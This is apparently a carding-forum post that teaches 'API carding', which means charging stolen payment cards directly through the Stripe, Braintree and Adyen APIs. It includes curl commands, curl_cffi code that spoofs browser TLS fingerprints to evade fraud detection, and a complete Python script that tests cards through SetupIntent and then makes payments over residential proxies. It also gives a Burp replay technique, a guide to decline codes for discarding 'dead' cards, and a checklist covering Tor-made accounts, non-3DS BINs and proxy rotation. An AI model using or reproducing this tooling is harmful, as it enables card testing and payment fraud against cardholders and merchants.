API Carding: How to Work Directly with Payment Gateways, Bypassing the Browser

Good Carder

Professional
Messages
938
Reaction score
540
Points
93

Introduction: Why the Browser is the Weakest Link and the API is High-Risk Territory​

If you need high-security and speed, the browser is a dead weight that will drag you down.

Browsers leave hundreds of digital traces, from canvas fingerprints to behavioral patterns. Anti-detect browsers mask these traces, but each masking leaves its own anomalies. Stripe Radar analyzes over 1,000 signals for each transaction in 100 milliseconds, including screen resolution, installed fonts, and mouse movement patterns.

A direct API request leaves only a few headers and a TLS handshake. It can't leak WebRTC, doesn't leave a canvas fingerprint, doesn't require mouse movement emulation, and has no behavioral fingerprint. When implemented correctly, the API approach is cleaner, faster, and more scalable than any browser.

But this "cleanliness" comes at a price. API requests, deprived of their natural browser context, look suspicious to anti-fraud systems. That's why API carding requires a flawless technical foundation: residential proxies with a fraud rate below 30, a valid TLS fingerprint, and no patterned behavior.

In this article, I'll discuss:
  • How the Stripe, Braintree, and Adyen APIs work — from payment creation to response processing.
  • How to emulate a legitimate payment session via the API without a browser or anti-detection.
  • Tools from Postman to custom Python scripts with TLS fingerprint substitution.
  • The main risks of the API approach and why it requires cleaner proxies and cards.

Part 1. Payment API Architecture: How Stripe, Braintree, and Adyen Work​

The payment API is the interface between your code and the processing infrastructure. Understanding its internal structure is key to minimizing detection.

1.1. Stripe API​

Stripe's central object is PaymentIntent, which manages the entire payment lifecycle from authorization to settlement.

Create PaymentIntent is the basic request:
Bash:
curl https://api.stripe.com/v1/payment_intents \
-u sk_live_123456: \
-d amount=5000 \
-d currency=usd \
-d "payment_method_types[]=card"

Creating a PaymentIntent linked to a card:
Bash:
curl https://api.stripe.com/v1/payment_intents \
-u sk_live_123456: \
-d amount=5000 \
-d currency=usd \
-d "payment_method_data[type]=card" \
-d "payment_method_data[card][number]=4242424242424242" \
-d "payment_method_data[card][exp_month]=12" \
-d "payment_method_data[card][exp_year]=2028" \
-d "payment_method_data[card][cvc]=123" \
-d confirm=true

Key parameter: confirm=true combines creation and confirmation in a single call. Stripe strongly discourages sending raw card numbers through the API without a client library. Stripe now validates and blocks requests that send raw card numbers without tokenization. This is a clear indication that this method is being monitored and flagged as suspicious.

For testing purposes, Stripe provides cards that return specific error codes, allowing developers to debug rejection logic.

SetupIntent - Card Validation Without Charging:
SetupIntent stores payment data for future payments without immediately charging. Stripe automatically runs 0/0/1 authorization to validate the data.

Critical limitation: SetupIntent does not check the card balance or sufficient funds.

1.2. Braintree API (PayPal)​

Braintree uses the concept of a payment method nonce — a one-time token representing payment data. This token is generated by the client SDK and is secure for transmission to the server.

Here's an example of creating a transaction with a nonce:
PHP:
$result = Braintree_Transaction::sale([
'amount' => '100.00',
'paymentMethodNonce' => $nonce_from_the_client,
'options' => [
'submitForSettlement' => true
]
]);

Braintree automatically checks AVS/CVV and can reject transactions at both the gateway level (before sending to the bank) and at the processing level. Gateway rejection occurs when the AVS/CVV criteria do not match, while processor rejection means the client's bank rejects the transaction.

The server's response for a Processor Decline is:
PHP:
array(3) {
["success"]=>
bool(false)
["transaction"]=>
NULL
["errors"]=>
array(1) {
["errors"]=>
array(1) {
[0]=>
array(6) {
["code"]=>
string(4) "2046"  // Processor Decline
["message"]=>
string(55) "Payment has been declined by the processor."
}
}
}
}

1.3. Adyen Checkout API​

The Adyen Checkout API supports cards, mobile wallets, and local payment methods (iDEAL, Sofort).

The basic request to /payments is:
Bash:
curl https://checkout-test.adyen.com/v71/payments \
-H 'x-api-key: YOUR_API_KEY' \
-H 'content-type: application/json' \
-d '{
    "amount": {"value": 5000, "currency": "USD"},
    "paymentMethod": {
      "type": "scheme",
      "number": "4111111111111111",
      "expiryMonth": "12",
      "expiryYear": "2028",
      "cvc": "123"
    },
    "reference": "ORDER_ID_12345",
    "merchantAccount": "YOUR_MERCHANT_ACCOUNT"
  }'

Adyen supports zero-value auth — a zero-authorization request for card validation without holding. The response contains a resultCode: Authorized, Refused, or Error.

What happens with zero-value auth:
  1. Adyen sends a verification call to the acquirer.
  2. The bank checks the validity of the card without debiting funds.
  3. An authorization or refusal code is returned.

Part 2. Emulating a Valid Session via API​

2.1. Why an API without emulation is an instant ban​

A naked API request can be easily identified as a bot by three characteristics:
  • JA3/TLS fingerprint is different from browser fingerprint.
  • Non-standard HTTP headers.
  • Abnormally fast form filling and submission.

2.2. Solution: TLS fingerprinting libraries​

curl_cffi is a Python library that simulates TLS/JA3 and HTTP/2 fingerprinting of real browsers via BoringSSL (for Chrome) and nss (for Firefox). It is significantly faster than requests and httpx.

Basic usage:
Python:
from curl_cffi import requests

# Simulate Chrome 120
response = requests.get(
'https://api.stripe.com/v1/payment_intents',
impersonate='chrome120',
auth=('sk_live_123456', '')
)

Full list of browsers available for emulation:
Python:
# Chrome
browsers = [
"chrome99", "chrome100", "chrome101", "chrome104", "chrome107", "chrome110",
"chrome116", "chrome119", "chrome120", "chrome123", "chrome124", "chrome126",
"chrome127", "chrome128", "chrome129", "chrome130", "chrome131", "chrome132"
]

# Safari
safari_versions = ["safari15_5", "safari17_0", "safari17_2_1", "safari18_0", "safari18_2"]

# Edge
edge_versions = ["edge99", "edge101", "edge110", "edge131", "edge132"]

# Firefox
firefox_versions = ["firefox102", "firefox104", "firefox110", "firefox119", "firefox133"]

Advanced method with custom fingerprint:
Python:
from curl_cffi import requests

fingerprint = requests.get_fingerprint("edge_146_macos_26")

response = requests.post(
'https://api.stripe.com/v1/payment_intents',
impersonate=fingerprint,
default_headers=False, # Full control over headers
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded'
}
)

Alternative libraries:
  • TLS-Chameleon - simulates browser TLS fingerprinting with a simple API similar to requests.
  • httpz-ja3 is a wrapper around the Go package that provides JA3 fingerprinting capabilities.

2.3. Integration with Burp Suite​

TLS Fingerprint Bypass is a Burp Suite extension that redirects requests through curl_cffi to correctly imitate JA3/JA4 fingerprints. Once installed, you can intercept and modify traffic in Burp, and then send it through curl_cffi with a spoofed fingerprint.

2.4. Payment Context Emulation​

Card verified via SetupIntent (code example):
Python:
from curl_cffi import requests
import json

stripe_key = 'sk_live_123456'
card_data = {
"type": "card",
"card": {
"number": "4242424242424242",
"exp_month": 12,
"exp_year": 2028,
"cvc": "123"
}
}

# Step 1: Create SetupIntent
setup_intent = requests.post(
'https://api.stripe.com/v1/setup_intents',
auth=(stripe_key, ''),
data={'payment_method_types[]': 'card'},
impersonate='chrome120'
)

# Step 2: Attach a payment method
setup_intent_id = setup_intent.json()['id']

attach_response = requests.post(
f'https://api.stripe.com/v1/setup_intents/{setup_intent_id}/confirm',
auth=(stripe_key, ''),
data={'payment_method_data': json.dumps(card_data)},
impersonate='chrome120'
)

For a full payment, use PaymentIntent with the same parameters.

Part 3. Tools: From Postman to Custom Scripts​

3.1. Postman for API Debugging​

Postman allows you to save request collections and automatically insert API keys and variables.

Collection template for Stripe:
  • Create PaymentIntent: POST /v1/payment_intents
  • Confirm PaymentIntent: POST /v1/payment_intents/:id/confirm
  • Create Refund: POST /v1/refunds

Important setting: In Postman, you can disable automatic sending of the Postman-Token header, which hinders automation. For API carding, use manual header assembly in scripts rather than ready-made clients.

3.2. Burp Suite for interception and modification​

Burp Suite intercepts traffic between the application and the payment gateway, allowing you to view and modify request parameters in real time.

The "replay attack" technique:
  1. Intercept a successful payment request in Burp.
  2. Send it to Repeater.
  3. Change the amount, card number or billing address.
  4. Please resend and observe the response.

Burp detects anomalies such as data format inconsistencies or unusual sequences of actions, which help anti-fraud systems recognize automation.

3.3. A full-fledged Python script for API carding​

Python:
#!/usr/bin/env python3
import time
import json
import random
from curl_cffi import requests
from fake_useragent import UserAgent

class StripeAPICarding:
def __init__(self, api_key, proxy=None):
self.api_key = api_key
self.proxy = proxy
self.impersonate = random.choice([
"chrome120", "chrome123", "chrome124",
"safari17_0", "edge131", "firefox119"
])
self.session = self._create_session()

def _create_session(self):
session = requests.Session()
session.impersonate = self.impersonate

# Browser headers are critical!
ua = UserAgent()
session.headers.update({
'User-Agent': ua.random,
'Accept': 'application/json',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://checkout.stripe.com',
'Referer': 'https://checkout.stripe.com/',
'Sec-Ch-Ua': '"Not_A Brand";v="8", "Chromium";v="120"',
'Sec-Ch-Ua-Mobile': '?0',
'Sec-Ch-Ua-Platform': '"Windows"',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-site'
})

if self.proxy:
session.proxies = {"https": self.proxy}

return session

def check_card(self, card_number, exp_month, exp_year, cvc):
"""Checking the card via SetupIntent (zero auth)."""
try:
# Create SetupIntent
setup_response = self.session.post(
'https://api.stripe.com/v1/setup_intents',
auth=(self.api_key, ''),
data={'payment_method_types[]': 'card'},
timeout=30
)

if setup_response.status_code != 200:
return False, f"SetupIntent failed: {setup_response.status_code}"

setup_intent_id = setup_response.json()['id']

# Confirmation with card
payment_method_data = {
"type": "card",
"card": {
"number": card_number,
"exp_month": exp_month,
"exp_year": exp_year,
"cvc": cvc
}
}

confirm_response = self.session.post(
f'https://api.stripe.com/v1/setup_intents/{setup_intent_id}/confirm',
auth=(self.api_key, ''),
data={'payment_method_data': json.dumps(payment_method_data)},
timeout=30
)

result = confirm_response.json()

if confirm_response.status_code == 200 and result.get('status') == 'succeeded':
return True, "Card is valid"
else:
error = result.get('error', {}).get('code', 'unknown')
return False, f"Declined: {error}"

except Exception as e:
return False, f"Exception: {str(e)}"

def make_payment(self, card_data, amount_usd):
"""Performing a full payment via PaymentIntent."""
amount_cents = int(amount_usd * 100)

# Create and confirm PaymentIntent
payment_data = {
'amount': amount_cents,
'currency': 'usd',
'payment_method_data[type]': 'card',
'payment_method_data[card][number]': card_data['number'],
'payment_method_data[card][exp_month]': card_data['exp_month'],
'payment_method_data[card][exp_year]': card_data['exp_year'],
'payment_method_data[card][cvc]': card_data['cvc'],
'confirm': 'true',
'return_url': 'https://example.com/complete'
}

response = self.session.post(
'https://api.stripe.com/v1/payment_intents',
auth=(self.api_key, ''),
data=payment_data,
timeout=30
)

result = response.json()

if response.status_code == 200:
if result.get('status') == 'succeeded':
return True, result.get('id'), "Payment succeeded"
elif result.get('status') == 'requires_action':
# 3DS required - the card requires additional authentication
next_action = result.get('next_action', {})
if next_action.get('type') == 'redirect_to_url':
return False, result.get('id'), "3DS required"

error = result.get('error', {})
decline_code = error.get('decline_code', error.get('code', 'unknown'))
return False, None, f"Declined: {decline_code}"

# Usage example
if __name__ == '__main__':
api = StripeAPICarding(
api_key='sk_live_123456',
proxy='http://user:pass@residential-proxy.com:8080'
)

# Card verification before payment
valid, msg = api.check_card(
card_number='4242424242424242',
exp_month=12,
exp_year=2028,
cvc='123'
)

print(f"Check result: {msg}")

if valid:
# Payment completed
card_info = {
'number': '4242424242424242',
'exp_month': 12,
'exp_year': 2028,
'cvc': '123'
}
success, tx_id, msg = api.make_payment(card_info, 49.99)
print(f"Payment result: {msg}")

Part 4. Risks and Limitations of API Carding​

4.1. Stripe Radar 2026: Why APIs Have Become More Dangerous​

In 2026, Stripe released Radar 3.0, which uses generative AI algorithms to detect fraud. Card testing decreased by 64% thanks to Stripe's systems, which use thousands of signals to evaluate each transaction. Stripe trained the fundamental model on tens of billions of transactions, increasing detection accuracy and reducing false positives.

Radar also collects device and behavioral signals on each page, improving ML accuracy by approximately 36%.

4.2. Why the API requires cleaner proxies and cards​

API requests are devoid of "human context": there's no browsing history, no cookies, no session data. All that remains is the IP address, TLS fingerprint, and card. Any suspicious signal becomes more significant. The following are unacceptable for API carding:
  • Data center proxy with fraud speed above 30.
  • Prepaid cards with no history.
  • BIN with high fraud risk.

4.3. Stripe Error Codes - Rejection Navigator​

Decline CodeTranscriptAction
fraudulentStripe Radar blocked the transaction.Change proxies, IP cleanliness, and the nature of requests
do_not_honorThe issuing bank blocked the cardThe card is dead, do not use it again.
insufficient_fundsInsufficient fundsCheck your balance before paying
authentication_required3DS requiredThe card can only be used for non-3DS transactions.

The Fraudulent code is the final verdict: Stripe firmly marks the transaction as fraudulent. According to Stripe documentation, merchants are advised to remain completely silent upon receiving this code — any attempt to contact the "customer" will only escalate the situation.

4.4. Real-time BIN detection​

Payment processors can check BINs in real time via the BIN Lookup API, which provides the issuer's country, card type (prepaid/debit), and past fraud signals. Stripe Radar allows you to create block lists by BIN. Many payment processors, including Stripe and Adyen, have the ability to block BINs associated with prepaid cards or foreign issuers with high fraud rates.

4.5. Multi-level gateway protection​

Braintree provides Premium Fraud Management Tools — a set of checks that are triggered before a request is sent to the bank. Modern anti-fraud platforms (Kount, Sift, ThreatMetrix) use AI to generate a fraud score from 0 to 100. Any transaction with insufficient device signals may be automatically declined.

Mastercard's "Trusted Checkout" (NuDetect) requires fingerprint data collection on the payment page. If such data cannot be collected, the transaction is not submitted for risk scoring and may be declined automatically.

4.6. 3D Secure: A Dead End for API Carding​

If a card requires a 3DS, Stripe returns a requires_action object containing the redirect URL. This is a virtually insurmountable obstacle for a purely API-based approach without browser emulation. Adyen handles 3DS through the redirectShopper parameter.

Part 5. Protecting Merchants: How Payment Systems Detect API Carding​

This information is intended for security professionals developing defense systems. Understanding detection mechanisms allows for more effective defenses.

5.1. TLS Fingerprint Detection (JA3)​

Each HTTP client has a unique JA3 fingerprint. The curl_cffi library solves this problem, but even browser impersonations can be identified by micro-differences in the Cipher Suite order.

5.2. Transaction Speed Analysis​

Stripe Radar allows you to limit the number of attempts from a single IP address and the number of cards linked to a single client. If the script sends requests faster than a human can handle (less than 3-5 seconds per transaction), a block is triggered.

5.3. Detection by BIN patterns​

Payment processors analyze BINs based on a variety of parameters: issuer country, card type (prepaid, debit), fraud history, and unsupported authorization protocols. Cards with BINs associated with card fraud are blocked even before the request is made.

5.4. Webhook authentication​

Some secure integrations require webhook source_ip validation to ensure the request actually came from Stripe. Webhook interception and spoofing is one of the evasion methods used in carding operations when endpoint authentication is misconfigured. This method allows the API client to send fake successful payment notifications, bypassing the actual payment gateway.

5.5. Blocking by data center IP​

IP addresses from Amazon AWS, DigitalOcean, OVH, and Google Cloud data centers are an immediate red flag for API requests. Only residential or mobile IP addresses have a chance of success.

Part 6. Comprehensive Checklist: Preparing for API Carding​

  • API key - from a test Stripe account created via Tor, with a minimal transaction volume.
  • Residential proxy – fraud score <30, country = BIN country. Data centers are completely excluded.
  • JA3/TLS imitation — via curl_cffi with the current browser fingerprint.
  • Headers — the full set of browser headers. Session headers must be consistent with the User-Agent.
  • Pauses between requests are at least 3-5 seconds, preferably 10-15.
  • Cards with non-3DS BIN only - otherwise the request will be blocked by a 3DS redirect.
  • Card verification via SetupIntent - before the main payment.
  • Error handling - logging codes, proxy rotation in case of fraudulent.

Conclusion: API carding is a high-risk, but also high-potential area.​

API carding isn't a magic "invisibility" button. It's a tool that requires a flawless technical foundation and a deep understanding of the inner workings of payment systems.

Three key takeaways:
  1. The main advantage of the API is the absence of browser fingerprinting. Canvas, WebGL, fonts — all of this doesn't need to be imitated.
  2. The main risk with APIs is the lack of "human context." Therefore, the requirements for proxy and card integrity are significantly higher.
  3. Stripe's Radar 3.0 and AI detection make API carding more difficult each year. Card testing has decreased by 64% thanks to these improvements.

Successful API carding rests on three pillars: a clean residential proxy, a valid JA3 fingerprint (via curl_cffi), and fresh cards with a non-3DS BIN. Without any of these, even perfect code is useless.

A quick one-line reminder:
"API carding is like aviation: higher, faster, more lethal, but the cost of error is many times higher. Every bug or dirty signal is a disaster. Don't try without a parachute (a clean proxy and a non-3DS BIN)."
 
Top